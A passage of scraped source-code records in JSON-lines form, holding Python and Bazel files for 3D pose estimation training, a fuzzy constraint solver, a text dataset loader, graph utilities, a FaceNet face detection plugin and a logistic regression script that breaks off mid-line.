===\n print(\"Creating %d bi-layers of %d units.\" % (FLAGS.num_layers, FLAGS.linear_size))\n model = create_model( sess, actions, FLAGS.batch_size, FLAGS.centering_2d, FLAGS.optimizer, for_eccv18=True)\n model.train_writer.add_graph( sess.graph )\n print(\"Model (%d step) created\" %FLAGS.load)\n\n #=== This is the training loop ===\n step_time, loss, val_loss = 0.0, 0.0, 0.0\n current_step = 0 if FLAGS.load <= 0 else FLAGS.load + 1\n previous_losses = []\n\n step_time, loss = 0, 0\n current_epoch = 0\n log_every_n_batches = 2\n\n for i_epoch in xrange( FLAGS.epochs ):\n current_epoch = current_epoch + 1\n\n # === Load training batches for one epoch ===\n encoder_inputs, decoder_outputs = model.get_all_batches_eccv18( train_set_2d, train_set_3d, training=True )\n nbatches = len( encoder_inputs )\n print(\"There are {0} train batches\".format( nbatches ))\n start_time, loss = time.time(), 0.\n\n g_step = model.global_step.eval()\n print(\"g_step: \", g_step)\n print(\"i_epoch: \", i_epoch)\n\n\n # === Loop through all the training batches ===\n for i in range( nbatches ):\n\n if (i+1) % log_every_n_batches == 0:\n # Print progress every log_every_n_batches batches\n print(\"Working on epoch {0}, batch {1} / {2}... \".format( current_epoch, i+1, nbatches), end=\"\" )\n\n enc_in, dec_out = encoder_inputs[i], decoder_outputs[i]\n step_loss, loss_summary, lr_summary, _ = model.step( sess, enc_in, dec_out, FLAGS.dropout, isTraining=True )\n\n if (i+1) % log_every_n_batches == 0:\n # Log and print progress every log_every_n_batches batches\n model.train_writer.add_summary( loss_summary, current_step )\n model.train_writer.add_summary( lr_summary, current_step )\n step_time = (time.time() - start_time)\n start_time = time.time()\n print(\" done in {0:.2f} ms\".format( 1000*step_time / log_every_n_batches ) )\n print(train_dir)\n\n loss += step_loss\n current_step += 1\n # === end looping through training batches ===\n\n loss = loss / nbatches\n\n print(\"=============================\\n\"\n \"Global step: %d\\n\"\n \"Learning rate: %.2e\\n\"\n \"Train loss avg: %.4f\\n\"\n \"=============================\" % (model.global_step.eval(),\n model.learning_rate.eval(), loss) )\n # === End training for an epoch ===\n\n\n\n # === Testing after this epoch ===\n if i_epoch % FLAGS.period_epoch_eval == 0:\n isTraining = False\n n_joints = 17 if not(FLAGS.predict_14) else 14\n encoder_inputs, decoder_outputs = model.get_all_batches_eccv18( test_set_2d, test_set_3d, training=False)\n\n total_err, joint_err, step_time, loss = evaluate_batches( sess, model,\n data_mean_3d, data_std_3d, dim_to_use_3d, dim_to_ignore_3d,\n data_mean_2d, data_std_2d, dim_to_use_2d, dim_to_ignore_2d,\n encoder_inputs, decoder_outputs)\n\n print(\"=============================\\n\"\n \"Step-time (ms): %.4f\\n\"\n \"Val loss avg: %.4f\\n\"\n \"Val error avg (mm): %.2f\\n\"\n \"=============================\" % ( 1000*step_time, loss, total_err ))\n\n for i in range(n_joints):\n # 6 spaces, right-aligned, 5 decimal places\n print(\"Error in joint {0:02d} (mm): {1:>5.2f}\".format(i+1, joint_err[i]))\n print(\"=============================\")\n\n # Log the error to tensorboard\n summaries = sess.run( model.err_mm_summary, {model.err_mm: total_err} )\n model.test_writer.add_summary( summaries, current_step )\n\n # Save the model\n print(\"Saving the model... \", end=\"\")\n start_time = time.time()\n model.saver.save(sess, os.path.join(train_dir, 'checkpoint'), global_step=current_step)\n # model.saver.save(sess, os.path.join(train_dir, 'checkpoint'))\n print(\"done in {0:.2f} ms\".format(1000 * (time.time() - start_time)))\n\n sys.stdout.flush()\n\n\ndef get_action_subset( poses_set, action ):\n \"\"\"\n Given a preloaded dictionary of poses, load the subset of a particular action\n\n Args\n poses_set: dictionary with keys k=(subject, action, seqname),\n values v=(nxd matrix of poses)\n action: string. The action that we want to filter out\n Returns\n poses_subset: dictionary with same structure as poses_set, but only with the\n specified action.\n \"\"\"\n return {k:v for k, v in poses_set.items() if k[1] == action}\n\n\n\ndef evaluate_batches( sess, model,\n data_mean_3d, data_std_3d, dim_to_use_3d, dim_to_ignore_3d,\n data_mean_2d, data_std_2d, dim_to_use_2d, dim_to_ignore_2d,\n encoder_inputs, decoder_outputs, ):\n\n \"\"\"\n Generic method that evaluates performance of a list of batches.\n May be used to evaluate all actions or a single action.\n\n Args\n sess\n model\n data_mean_3d\n data_std_3d\n dim_to_use_3d\n dim_to_ignore_3d\n data_mean_2d\n data_std_2d\n dim_to_use_2d\n dim_to_ignore_2d\n current_step\n encoder_inputs\n decoder_outputs\n current_epoch\n Returns\n\n total_err\n joint_err\n step_time\n loss\n \"\"\"\n\n n_joints = 17 if not(FLAGS.predict_14) else 14\n nbatches = len( encoder_inputs )\n\n if nbatches == 1:\n batch_size_eval = encoder_inputs[0].shape[0]\n else:\n batch_size_eval = FLAGS.batch_size\n\n # Loop through test examples\n all_dists, start_time, loss = [], time.time(), 0.\n log_every_n_batches = 100\n for i in range(nbatches):\n\n enc_in, dec_out = encoder_inputs[i], decoder_outputs[i]\n dp = 1.0 # dropout keep probability is always 1 at test time\n step_loss, loss_summary, poses3d = model.step( sess, enc_in, dec_out, dp, isTraining=False )\n loss += step_loss\n\n # denormalize\n enc_in = data_utils.unNormalizeData( enc_in, data_mean_2d, data_std_2d, dim_to_ignore_2d )\n dec_out = data_utils.unNormalizeData( dec_out, data_mean_3d, data_std_3d, dim_to_ignore_3d )\n poses3d = data_utils.unNormalizeData( poses3d, data_mean_3d, data_std_3d, dim_to_ignore_3d )\n\n # Keep only the relevant dimensions\n dtu3d = np.hstack( (np.arange(3), dim_to_use_3d) ) if not(FLAGS.predict_14) else dim_to_use_3d\n\n dec_out = dec_out[:, dtu3d]\n poses3d = poses3d[:, dtu3d]\n\n print (\"dec_out\" ,dec_out.shape[0], batch_size_eval)\n print (\"poses3d\", poses3d.shape[0], batch_size_eval)\n\n # assert dec_out.shape[0] == FLAGS.batch_size\n # assert poses3d.shape[0] == FLAGS.batch_size\n assert dec_out.shape[0] == batch_size_eval\n assert poses3d.shape[0] == batch_size_eval\n\n\n if FLAGS.procrustes:\n # Apply per-frame procrustes alignment if asked to do so\n for j in range(batch_size_eval):\n gt = np.reshape(dec_out[j,:],[-1,3])\n out = np.reshape(poses3d[j,:],[-1,3])\n _, Z, T, b, c = procrustes.compute_similarity_transform(gt,out,compute_optimal_scale=True)\n out = (b*out.dot(T))+c\n\n poses3d[j,:] = np.reshape(out,[-1,17*3] ) if not(FLAGS.predict_14) else np.reshape(out,[-1,14*3] )\n\n # Compute Euclidean distance error per joint\n sqerr = (poses3d - dec_out)**2 # Squared error between prediction and expected output\n dists = np.zeros( (sqerr.shape[0], n_joints) ) # Array with L2 error per joint in mm\n dist_idx = 0\n for k in np.arange(0, n_joints*3, 3):\n # Sum across X,Y, and Z dimenstions to obtain L2 distance\n dists[:,dist_idx] = np.sqrt( np.sum( sqerr[:, k:k+3], axis=1 ))\n dist_idx = dist_idx + 1\n\n all_dists.append(dists)\n assert sqerr.shape[0] == batch_size_eval\n\n # error[i] = np.mean(np.sqrt(np.sum((gtPose - predPose) ** 2, axis=1)))\n\n\n\n step_time = (time.time() - start_time) / nbatches\n loss = loss / nbatches\n\n all_dists = np.vstack( all_dists )\n\n # Error per joint and total for all passed batches\n joint_err = np.mean( all_dists, axis=0 )\n # total_err = np.mean( all_dists )\n person_err = np.mean( all_dists, axis=1 )\n total_err_person = np.mean(person_err)\n\n return total_err_person, joint_err, step_time, loss\n\n\n\ndef eval_eccv18():\n \"\"\"Get samples from a model and visualize them\"\"\"\n\n actions = data_utils.define_actions( FLAGS.action )\n\n # Load 3d data\n train_set_3d, test_set_3d, data_mean_3d, data_std_3d, dim_to_ignore_3d, dim_to_use_3d = data_utils.read_data_eccv18(\n FLAGS.data_dir, FLAGS.centering_2d, FLAGS.detector_2d, FLAGS.idx_split, dim=3)\n\n\n train_set_2d, test_set_2d, data_mean_2d, data_std_2d, dim_to_ignore_2d, dim_to_use_2d = data_utils.read_data_eccv18(\n FLAGS.data_dir, FLAGS.centering_2d, FLAGS.detector_2d, FLAGS.idx_split, dim=2)\n\n\n device_count = {\"GPU\": 0} if FLAGS.use_cpu else {\"GPU\": 1}\n with tf.Session(config=tf.ConfigProto(\n device_count=device_count,\n allow_soft_placement=True )) as sess:\n\n # === Create the model ===\n print(\"Creating %d layers of %d units.\" % (FLAGS.num_layers, FLAGS.linear_size))\n model = create_model(sess, actions, FLAGS.batch_size, FLAGS.centering_2d, for_eccv18=True)\n print(\"Model loaded\")\n\n\n\n n_joints = 17 if not (FLAGS.predict_14) else 14\n encoder_inputs, decoder_outputs = model.get_all_batches_eccv18(test_set_2d, test_set_3d, training=False)\n\n total_err, joint_err, step_time, loss = evaluate_batches(sess, model,\n data_mean_3d, data_std_3d, dim_to_use_3d, dim_to_ignore_3d,\n data_mean_2d, data_std_2d, dim_to_use_2d, dim_to_ignore_2d,\n encoder_inputs, decoder_outputs)\n\n print(\"=============================\\n\"\n \"Step-time (ms): %.4f\\n\"\n \"Val loss avg: %.4f\\n\"\n \"Val error avg (mm): %.2f\\n\"\n \"=============================\" % (1000 * step_time, loss, total_err))\n\n for i in range(n_joints):\n # 6 spaces, right-aligned, 5 decimal places\n print(\"Error in joint {0:02d} (mm): {1:>5.2f}\".format(i + 1, joint_err[i]))\n print(\"=============================\")\n\n\n\ndef generate_3dpose_eccv18():\n\n # Generate directory for CSV prediction files\n if FLAGS.for_submission == True:\n predict_step_dir = FLAGS.prediction_dir + \"_\" + str(FLAGS.load)\n else:\n predict_step_dir = FLAGS.prediction_dir + \"_Val_\" + str(FLAGS.load)\n\n if not (os.path.isdir(predict_step_dir)):\n os.makedirs(os.path.join(predict_step_dir))\n actions = data_utils.define_actions( FLAGS.action )\n\n\n # Load 3d & 2d data\n _, _, data_mean_3d, data_std_3d, dim_to_ignore_3d, dim_to_use_3d = data_utils.read_data_eccv18(\n FLAGS.data_dir, FLAGS.centering_2d, FLAGS.detector_2d, FLAGS.idx_split, dim=3, for_submission = FLAGS.for_submission)\n\n train_set_2d, test_set_2d, data_mean_2d, data_std_2d, dim_to_ignore_2d, dim_to_use_2d = data_utils.read_data_eccv18(\n FLAGS.data_dir, FLAGS.centering_2d, FLAGS.detector_2d, FLAGS.idx_split, dim=2, for_submission = FLAGS.for_submission)\n\n\n # Load test filename_list (Unshuffled)\n file_list = []\n if (FLAGS.for_submission == False):\n split_path = os.path.join(FLAGS.data_dir, \"split\", 'Val_list_' + FLAGS.detector_2d +'.csv')\n else:\n split_path = os.path.join(FLAGS.data_dir, \"split\", 'Test_list_' + FLAGS.detector_2d +'.csv')\n with open(split_path, 'r') as f:\n csvReader = csv.reader(f)\n for row in csvReader:\n # file_list.append(row[0].split('.jp')[0])\n file_list.append(row)\n\n device_count = {\"GPU\": 0} if FLAGS.use_cpu else {\"GPU\": 1}\n idx_file =0\n with tf.Session(config=tf.ConfigProto( device_count = device_count )) as sess:\n # === Create the model ===\n print(\"Creating %d layers of %d units.\" % (FLAGS.num_layers, FLAGS.linear_size))\n model = create_model(sess, actions, FLAGS.batch_size, FLAGS.centering_2d, for_eccv18=True)\n print(\"Model loaded\")\n\n n_joints = 17 if not (FLAGS.predict_14) else 14\n encoder_inputs = model.get_all_batches_2D_eccv18(test_set_2d)\n nbatches = len(encoder_inputs)\n\n print(\"Model (%d step) created\" % FLAGS.load)\n g_step = model.global_step.eval()\n print(\"g_step: \", g_step)\n\n\n for i in range(nbatches):\n\n enc_in = encoder_inputs[i]\n dp = 1.0 # dropout keep probability is always 1 at test time\n poses3d = model.step_only_enc(sess, enc_in, dp, isTraining=False)\n\n # denormalize\n poses3d = data_utils.unNormalizeData(poses3d, data_mean_3d, data_std_3d, dim_to_ignore_3d)\n\n # Keep only the relevant dimensions\n dtu3d = np.hstack((np.arange(3), dim_to_use_3d)) if not (FLAGS.predict_14) else dim_to_use_3d\n poses3d = poses3d[:, dtu3d]\n\n batch_size = poses3d.shape[0]\n n_joints = 17 if not(FLAGS.predict_14) else 14\n\n for i in range(batch_size):\n pose3d_sample = poses3d[i].reshape(n_joints, -1)\n print( predict_step_dir +\"/\" + file_list[idx_file][0] + \".csv\")\n np.savetxt(predict_step_dir +\"/\" + file_list[idx_file][0] + \".csv\", pose3d_sample, delimiter=\",\", fmt='%.3f')\n idx_file +=1\n\n\n # convert csv files to a json file\n src_path = predict_step_dir\n out_path = src_path + \"_json\"\n # out_path = '_'.join(src_path.split(\"_\")[ : 3]) + \"_json\"\n\n # print (src_path, out_path, poses3d.shape)\n # # save prediction results as a single CSV file\n # if not (os.path.isdir(out_path)):\n # os.makedirs(os.path.join(out_path))\n #\n # np.savetxt(out_path + \"/split_\" + str(FLAGS.idx_split) + \".csv\", poses3d, delimiter=\",\", fmt='%.3f')\n\n csv2json(src_path, out_path)\n\n\n\n\ndef csv2json(src_path, out_path):\n if not(os.path.isdir(out_path)):\n os.makedirs(out_path)\n\n\n file_name = \"result3d.json\"\n res_path = os.path.join(out_path, file_name)\n\n\n csvs = sorted(glob.glob(src_path+'/*'))\n results = {}\n\n cnt = 0\n for csv_file in tqdm.tqdm(csvs):\n fn = os.path.basename(csv_file).split('.')[0].split('_')[1]\n csv = pd.read_csv(csv_file, header=None)\n joint = np.array(csv)\n results.update({fn:joint.flatten().tolist()})\n cnt += 1\n\n with open(res_path, 'w') as outfile:\n json_res = json.dumps([{\"image_id\":int(k), \"keypoints\":[v]} for k, v in sorted(results.items())])\n outfile.write(json_res)\n\n\ndef main(_):\n if FLAGS.mode == 'train':\n train_eccv18()\n elif FLAGS.mode == 'eval':\n eval_eccv18()\n elif FLAGS.mode == 'generate':\n generate_3dpose_eccv18()\n\n\nif __name__ == \"__main__\":\n tf.app.run()\n","repo_name":"csehong/h36m_eccv18","sub_path":"Model/src/predict_3dpose_eccv18.py","file_name":"predict_3dpose_eccv18.py","file_ext":"py","file_size_in_byte":21564,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"37637386149","text":"#coding=utf-8\n\nimport numpy as np\nimport sys\n\n\nclass CSP:\n \"\"\"\n CSP class\n \"\"\"\n def __init__(self):\n self._goals = list()\n self._escape_points = list()\n self._constraints_arc = list()\n\n\n def setGoals(self, goals):\n \"\"\"\n id_goal -> probability \\n\n self._goals is a list of tuple(id_goal, probability) \\n\n Args:\n goals: list of tuple(id_goal, probability)\n \"\"\"\n self._goals = goals\n\n\n def setEscapePoints(self, escape_p):\n \"\"\"\n id_escape_point -> value = number in [0,1] of the reciprocal of the distance from EE to escape point \\n\n self._escape_points is a list of tuple(id_escape_p, value) \\n\n Args:\n escape_p: list of tuple(id_escape_p, value)\n \"\"\"\n self._escape_points = escape_p\n\n\n def setConstraintsArc(self, distances):\n \"\"\"\n (id_goal, id_escape_point) -> value = number in [0,1] of the reciprocal of the distance from goal to escape point \\n\n self._constraints_arc is a list of tuple(id_goal, id_escape_p, value) \\n\n Args:\n distances: list of tuple(id_goal, id_escape_p, value)\n \"\"\"\n self._constraints_arc = distances\n \n\n def fuzzySCSP(self, goals, escape_p, distances):\n \"\"\"\n Start fuzzy soft CSP \\n\n Args:\n goals: list of tuple(id_goal, probability)\n escape_p: list of tuple(id_escape_p, value)\n distances: list of tuple(id_goal, id_escape_p, value)\n Return: tuple (id_goal, id_escape_point, value) result of projection\n \"\"\"\n #Set constraints\n self.setGoals(goals)\n self.setEscapePoints(escape_p)\n self.setConstraintsArc(distances)\n\n #Combining\n result_comb = self.fuzzyCombining()\n #Projection\n result_proj = self.fuzzyProjection(result_comb)\n\n return result_proj\n\n\n def fuzzyCombining(self):\n \"\"\"\n Combining = take min value \\n\n Return: list of results of combining\n \"\"\"\n #result_combining is a list of tuple(id_goal, id_escape_p, min) \n results_combining = list()\n for c1 in self._goals:\n id_goal = c1[0]\n prob_goal = c1[1]\n for c2 in self._escape_points:\n id_escape_p = c2[0]\n value_escape_p = c2[1]\n #Compute c3 value\n value_constraint = self.findC3Value(id_goal, id_escape_p)\n if(value_constraint is None):\n print(\"Error: c3 value is NONE\")\n sys.exit()\n #Compute min\n min_value = min(prob_goal, value_escape_p, value_constraint)\n #create tuple (id_goal, id_escape_p, min) and insert it into results_combining list\n tmp_tuple = (id_goal, id_escape_p, min_value)\n results_combining.append(tmp_tuple)\n\n return results_combining\n \n\n def fuzzyProjection(self, combining_result):\n \"\"\"\n Projection = take max value \\n\n Return: tuple (id_goal, id_escape_point, value) result of projection\n \"\"\"\n tmp_max = -1\n final_tuple = None\n for tpe in combining_result:\n if(tpe[2] > tmp_max):\n tmp_max = tpe[2]\n final_tuple = tpe\n \n return final_tuple\n\n\n def findC3Value(self, id_g, id_ep):\n \"\"\"\n C3 is the tuple in self._constraints_arc in the form (id_goal, id_escape_p, value) \\n\n Args:\n id_g: id of the goal\n id_ep: id of the escape point\n Return: value of c3 with (id_g, id_ep)\n \"\"\" \n for c3 in self._constraints_arc:\n if((c3[0] == id_g) and (c3[1] == id_ep)):\n c3_value = c3[2]\n return c3_value\n\n return None\n\n ","repo_name":"Shared-control/improved-apf","sub_path":"system/shared_control/src/shared_control/Csp.py","file_name":"Csp.py","file_ext":"py","file_size_in_byte":3860,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"} +{"seq_id":"35210465363","text":"def _impl(repository_ctx):\n \"\"\"Pulls in from the environment and creates\n a bazel file at containing the resulting values\"\"\"\n path = repository_ctx.attr.path\n \n # Create the build\n repository_ctx.file(\"BUILD\", \"\"\"\nexports_files(\n [\"%s\"],\n visibility:[\"//visibility:public\"],\n)\n \"\"\" % path)\n\n # Create vars.bzl\n var_defs = [\"%s = %s\" %\n (var, repr(repository_ctx.os.environ.get(var, None)))\n for var in repository_ctx.attr.vars]\n repository_ctx.file(path, \"\\n\".join(var_defs))\n\nenvironment_repository = repository_rule(\n implementation=_impl,\n local=True,\n configure=True,\n attrs={\n 'vars': attr.string_list(mandatory=True),\n 'path': attr.string(default=\"vars.bzl\")\n })\n","repo_name":"gaycodegal/tutorials","sub_path":"environment-variables-bazel/bzl/environment.bzl","file_name":"environment.bzl","file_ext":"bzl","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8801546381","text":"import re\n\nimport numpy as np\n\nimport torch\nfrom torch.utils.data.dataset import Dataset\n\nclass TextDataset(Dataset):\n def __init__(self, word2idx, fp_dataset, train=True, val=False, split=True):\n self.word2idx = word2idx\n self.train = train\n self.val = val\n\n if train:\n self.text = []\n self.label = []\n for line in open(fp_dataset):\n label, line = line.split('+++$+++')\n line = line.lower()\n line = re.sub(r'(.)\\1{2,}', r'\\1\\1', line) \n line = re.sub(r'[^a-z!? ]', '', line)\n self.text.append(line.split())\n self.label.append(int(label))\n\n if split:\n r = np.random.RandomState(42)\n idx = r.permutation(200000)\n if val:\n self.text = [self.text[i] for i in idx[:10000]]\n self.label = [self.label[i] for i in idx[:10000]]\n else:\n self.text = [self.text[i] for i in idx[10000:]]\n self.label = [self.label[i] for i in idx[10000:]]\n else:\n self.text = []\n for line in open(fp_dataset):\n line = line.split(',', 1)[1]\n line = line.lower()\n line = re.sub(r'(.)\\1{2,}', r'\\1\\1', line) \n line = re.sub(r'[^a-z!? ]', '', line)\n self.text.append(line.split())\n\n def __getitem__(self, index):\n line = self.text[index]\n tokens = []\n for idx, word in enumerate(line):\n if word in self.word2idx:\n tokens.append(self.word2idx[word])\n tokens = tokens[:40]\n tokens += [self.word2idx['']] * (40 - len(tokens))\n\n if self.train:\n return torch.LongTensor(tokens), torch.LongTensor([self.label[index]])\n else:\n return torch.LongTensor(tokens)\n\n def __len__(self):\n return len(self.text)\n","repo_name":"empennage98/ML2018SPRING","sub_path":"hw5/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":1989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"213933827","text":"import concentrate\nimport sys\nfrom setuptools import setup\n\n\nif sys.version_info[0] < 3:\n sys.exit('python < 3 unsupported.')\n\n requirements = ['yaml'],\n\nsetup(\n name='concentrate',\n version=concentrate.__version__,\n packages=['concentrate'],\n license=['MIT'],\n description='',\n author=concentrate.__author__,\n author_email='bakednt@gmail.com',\n url='',\n scripts=['bin/concentrate']\n )\n","repo_name":"otakumesi/concentrate","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38635903388","text":"import os \n\nWORKPSACE_DIR = os.path.dirname(os.path.realpath(__file__)) + \"/\"\n\nCOORD_X = 0\nCOORD_Y = 1\nCOORD_Z = 2\n\nEPS = 0.0001\n\n# enable 64 bit numbering for higher precision\n#import jax.config\n#jax.config.update(\"jax_enable_x64\", True)\n\n","repo_name":"hitimr/NSSC2","sub_path":"Ex2/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73492948586","text":"'''graph representation, i/o and basic tools\n\nGraph is a dictionary of sets. Keys - are the nodes, value - set of adjucent\nnodes. It isn't required for nodes in keys to include all the nodes from values.\n'''\n\nfrom collections import defaultdict\n\n\ndef read_edgelist(pathname):\n g = defaultdict(set)\n\n with open(pathname) as f:\n for line in f:\n v, w = line.split()\n g[v].add(w)\n\n return g\n\n\ndef edges(g):\n for v, adjucent in g.items():\n for w in adjucent:\n yield v, w\n\n\ndef to_undirected(g):\n for v, w in edges(g):\n g[w].add(v)\n\n\ndef traverse(g, start):\n queue = [start]\n visited = {start}\n\n while queue:\n v = queue.pop()\n yield v\n assert v in visited\n\n for w in g[v]:\n if w not in visited:\n queue.append(w)\n visited.add(w)\n\n\ndef connected_components(g):\n 'warning: implemented for undirected graphs only'\n\n covered = set()\n\n for v in g:\n if v not in covered:\n component = set(traverse(g, v))\n yield component\n\n covered |= component\n\n\ndef get_subgraph(g, nodes):\n subgraph = defaultdict(set)\n\n for v, w in edges(g):\n if v in nodes and w in nodes:\n subgraph[v].add(w)\n\n return subgraph\n\n\ndef write_edgelist(g, pathname):\n with open(pathname, 'w') as f:\n for v, w in edges(g):\n f.write('%s %s\\n' % (v, w))\n","repo_name":"barahilia/algorhymes","sub_path":"graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":1446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72811289388","text":"import logging\nimport math\nfrom collections import namedtuple\nfrom typing import List\n\nimport numpy as np\nimport tensorflow.compat.v1 as tf1\nfrom tensorflow.python.platform import gfile\nfrom cached_property import cached_property\n\nimport sys\nsys.path.append('srcext')\nfrom mtcnn import MTCNN\n\nfrom src.constants import ENV\nfrom src.services.dto.bounding_box import BoundingBoxDTO\nfrom src.services.facescan.plugins import mixins\nfrom src.services.facescan.imgscaler.imgscaler import ImgScaler\nfrom src.services.imgtools.proc_img import crop_img, squish_img\nfrom src.services.imgtools.types import Array3D\nfrom src.services.utils.pyutils import get_current_dir\n\nfrom src.services.facescan.plugins import base\nfrom src._endpoints import FaceDetection\n\nCURRENT_DIR = get_current_dir(__file__)\n\nlogger = logging.getLogger(__name__)\n_EmbeddingCalculator = namedtuple('_EmbeddingCalculator', 'graph sess')\n_FaceDetectionNets = namedtuple('_FaceDetectionNets', 'pnet rnet onet')\n\n\ndef prewhiten(img):\n \"\"\" Normalize image.\"\"\"\n mean = np.mean(img)\n std = np.std(img)\n std_adj = np.maximum(std, 1.0 / np.sqrt(img.size))\n y = np.multiply(np.subtract(img, mean), 1 / std_adj)\n return y\n\n\nclass FaceDetector(mixins.FaceDetectorMixin, base.BasePlugin):\n FACE_MIN_SIZE = 20\n SCALE_FACTOR = 0.709\n IMAGE_SIZE = 160\n IMG_LENGTH_LIMIT = ENV.IMG_LENGTH_LIMIT\n KEYPOINTS_ORDER = ['left_eye', 'right_eye', 'nose', 'mouth_left', 'mouth_right']\n\n # detection settings\n det_prob_threshold = 0.85\n det_threshold_a = 0.9436513301\n det_threshold_b = 0.7059968943\n det_threshold_c = 0.5506904359\n\n # face alignment settings (were calculated for current detector)\n left_margin = 0.2125984251968504\n right_margin = 0.2230769230769231\n top_margin = 0.10526315789473684\n bottom_margin = 0.09868421052631579\n\n @cached_property\n def _face_detection_net(self):\n return MTCNN(\n min_face_size=self.FACE_MIN_SIZE,\n scale_factor=self.SCALE_FACTOR,\n steps_threshold=[self.det_threshold_a, self.det_threshold_b, self.det_threshold_c]\n )\n\n def crop_face(self, img: Array3D, box: BoundingBoxDTO) -> Array3D:\n return squish_img(crop_img(img, box), (self.IMAGE_SIZE, self.IMAGE_SIZE))\n\n def find_faces(self, img: Array3D, det_prob_threshold: float = None) -> List[BoundingBoxDTO]:\n if det_prob_threshold is None:\n det_prob_threshold = self.det_prob_threshold\n assert 0 <= det_prob_threshold <= 1\n scaler = ImgScaler(self.IMG_LENGTH_LIMIT)\n img = scaler.downscale_img(img)\n\n if FaceDetection.SKIPPING_FACE_DETECTION:\n bounding_boxes = []\n bounding_boxes.append({\n 'box': [0, 0, img.shape[0], img.shape[1]],\n 'confidence': 1.0,\n 'keypoints': {\n 'left_eye': (),\n 'right_eye': (),\n 'nose': (),\n 'mouth_left': (),\n 'mouth_right': (),\n }\n })\n det_prob_threshold = self.det_prob_threshold\n detect_face_result = bounding_boxes\n else:\n fdn = self._face_detection_net\n detect_face_result = fdn.detect_faces(img)\n\n img_size = np.asarray(img.shape)[0:2]\n bounding_boxes = []\n\n for face in detect_face_result:\n x, y, w, h = face['box']\n box = BoundingBoxDTO(\n x_min=int(np.maximum(x - (self.left_margin * w), 0)),\n y_min=int(np.maximum(y - (self.top_margin * h), 0)),\n x_max=int(np.minimum(x + w + (self.right_margin * w), img_size[1])),\n y_max=int(np.minimum(y + h + (self.bottom_margin * h), img_size[0])),\n np_landmarks=np.array([list(face['keypoints'][point_name]) for point_name in self.KEYPOINTS_ORDER]),\n probability=face['confidence']\n )\n logger.debug(f\"Found: {box}\")\n bounding_boxes.append(box)\n\n filtered_bounding_boxes = []\n for box in bounding_boxes:\n box = box.scaled(scaler.upscale_coefficient)\n if box.probability <= det_prob_threshold:\n logger.debug(f'Box filtered out because below threshold ({det_prob_threshold}): {box}')\n continue\n filtered_bounding_boxes.append(box)\n return filtered_bounding_boxes\n\n\nclass Calculator(mixins.CalculatorMixin, base.BasePlugin):\n ml_models = (\n # VGGFace2 training set, 0.9965 LFW accuracy\n ('20180402-114759', '1im5Qq006ZEV_tViKh3cgia_Q4jJ13bRK', (1.1817961, 5.291995557), 0.4),\n # CASIA-WebFace training set, 0.9905 LFW accuracy\n ('20180408-102900', '100w4JIUz44Tkwte9F-wEH0DOFsY-bPaw', (1.1362496, 5.803152427), 0.4),\n # CASIA-WebFace-Masked, 0.9873 LFW, 0.9667 LFW-Masked (orig model has 0.9350 on LFW-Masked)\n ('inception_resnetv1_casia_masked', '1FddVjS3JbtUOjgO0kWs43CAh0nJH2RrG', (1.1145709, 4.554903071), 0.6)\n )\n BATCH_SIZE = 25\n\n @property\n def ml_model_file(self):\n return str(self.ml_model.path / f'{self.ml_model.name}.pb')\n\n def calc_embedding(self, face_img: Array3D) -> Array3D:\n return self._calculate_embeddings([face_img])[0]\n\n @cached_property\n def _embedding_calculator(self):\n with tf1.Graph().as_default() as graph:\n graph_def = tf1.GraphDef()\n with gfile.FastGFile(self.ml_model_file, 'rb') as f:\n model = f.read()\n graph_def.ParseFromString(model)\n tf1.import_graph_def(graph_def, name='')\n return _EmbeddingCalculator(graph=graph, sess=tf1.Session(graph=graph))\n\n def _calculate_embeddings(self, cropped_images):\n \"\"\"Run forward pass to calculate embeddings\"\"\"\n prewhitened_images = [prewhiten(img) for img in cropped_images]\n calc_model = self._embedding_calculator\n graph_images_placeholder = calc_model.graph.get_tensor_by_name(\"input:0\")\n graph_embeddings = calc_model.graph.get_tensor_by_name(\"embeddings:0\")\n graph_phase_train_placeholder = calc_model.graph.get_tensor_by_name(\"phase_train:0\")\n embedding_size = graph_embeddings.get_shape()[1]\n image_count = len(prewhitened_images)\n batches_per_epoch = int(math.ceil(1.0 * image_count / self.BATCH_SIZE))\n embeddings = np.zeros((image_count, embedding_size))\n for i in range(batches_per_epoch):\n start_index = i * self.BATCH_SIZE\n end_index = min((i + 1) * self.BATCH_SIZE, image_count)\n feed_dict = {graph_images_placeholder: prewhitened_images, graph_phase_train_placeholder: False}\n embeddings[start_index:end_index, :] = calc_model.sess.run(\n graph_embeddings, feed_dict=feed_dict)\n return embeddings\n\n\nclass LandmarksDetector(mixins.LandmarksDetectorMixin, base.BasePlugin):\n \"\"\" Extract landmarks from FaceDetector results.\"\"\"\n\n\nclass PoseEstimator(mixins.PoseEstimatorMixin, base.BasePlugin):\n \"\"\" Estimate head rotation regarding the camera \"\"\"\n \n @staticmethod\n def landmarks_names_ordered():\n \"\"\" List of lanmarks names orderred as in detector \"\"\"\n return FaceDetector.KEYPOINTS_ORDER\n","repo_name":"exadel-inc/CompreFace","sub_path":"embedding-calculator/src/services/facescan/plugins/facenet/facenet.py","file_name":"facenet.py","file_ext":"py","file_size_in_byte":7271,"program_lang":"python","lang":"en","doc_type":"code","stars":3424,"dataset":"github-code","pt":"37"} +{"seq_id":"8987468358","text":"import pandas as pd\nimport numpy as np\nfrom scipy.spatial import distance\nfrom sklearn.metrics import roc_auc_score\n\nX = pd.read_csv('data-logistic.csv', header=None).loc[:, 1:]\ny = pd.read_csv('data-logistic.csv', header=None).loc[:, 0]\n\n\ndef gradient_descent(X_2, y_2, C = 10.0):\n y_predict_list = []\n a=0\n wi = np.array([0.0, 0.0])\n wj = np.array([0.0, 0.0])\n total_rows = X_2.shape[0]\n dst 